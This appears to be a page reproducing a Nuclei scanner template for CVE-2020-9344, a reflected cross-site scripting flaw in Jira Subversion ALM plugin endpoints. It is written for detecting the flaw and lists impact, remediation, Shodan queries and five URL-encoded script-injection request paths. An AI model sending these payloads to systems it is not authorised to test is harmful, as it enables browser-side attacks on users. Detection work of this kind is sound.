Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting

ID: CVE-2020-9344

Severity: medium

Author: madrobot

Tags: cve2020,cve,atlassian,jira,xss

Description

Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.

YAML Source

id: CVE-2020-9344

info:
  name: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
    - https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-9344
    cwe-id: CWE-79
    epss-score: 0.00205
    epss-percentile: 0.58449
    cpe: cpe:2.3:a:atlassian:subversion_application_lifecycle_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: atlassian
    product: subversion_application_lifecycle_management
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2020,cve,atlassian,jira,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "jira"
          - "subversion"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204ad7678fe9bcbeed91b500a7b12894286ec46a7e08b296d279fb0241bca64b7802203a137b69b659b8a7b85e036a2115e56109aba86fc81b41979f474d0831ced42b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-9344.yaml"

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